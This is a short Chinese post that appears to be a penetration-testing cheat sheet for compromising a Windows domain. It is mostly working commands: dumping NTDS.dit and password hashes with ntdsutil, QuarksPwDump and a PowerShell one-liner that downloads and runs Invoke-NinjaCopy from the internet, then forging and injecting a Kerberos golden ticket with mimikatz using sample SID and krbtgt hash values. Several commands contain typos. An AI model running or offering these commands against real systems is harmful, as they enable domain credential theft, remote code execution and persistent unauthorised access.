新建服务执行
sc create backupntds binPath= "cmd /c start c:\windows\temp\ntds.bat"
sc start backupntds
sc detele backupntds
导出HASH
QuarksPwDump.exe -dhd -nt ntds.dit -sf system.hiv -o hash.txt
ntdsutil导出
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\windows\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" quit quit
ntdsutil snapshot "delete {GUID}" quit quit
powershell 导出ntds.dit
powershell IEX (New-ObjectNet.WebClient).DownloadString( 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\ntds.dit"
powershell导出后需要修复一下
esentutl /p /o ntds.dit
- 交互式
导出ntds.dit
windows2008之后可以使用ntdsutil
权限维持
- golden ticket golden ticket 四要素
user 用户名
domain 域完整名称
sid 获取方式:whoami /all powerview 里面的 Convert-NameToSid ESRINEA\administrator psgetsid -accepteula ESRINEA\administrator (PStoos存在) mimikatz SID::lookup name
krbgt ntml hash mimikatz “@lsadump::dcsync /domain:域完整名称 /user:krbtgt"
保存golden ticket
mimikatz kerberos::golden /user:administrator /domain:ESRINEA.LOCAL /sid:S-1-5-21-2609584263-878513794-3710365111-500 /krbtgt:EDC094659D9C18F4E320C70838404D43 /ticket:ESRINEA.LOCAL.kirbi
使用golden ticket
mimikatz keberos::ptt ESRINEA.LOCAL.kirbi
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://i58-1251178265.cos.ap-nanjing.myqcloud.com/2024/02/20240226103045918.gif)
© 版权声明
THE END
暂无评论内容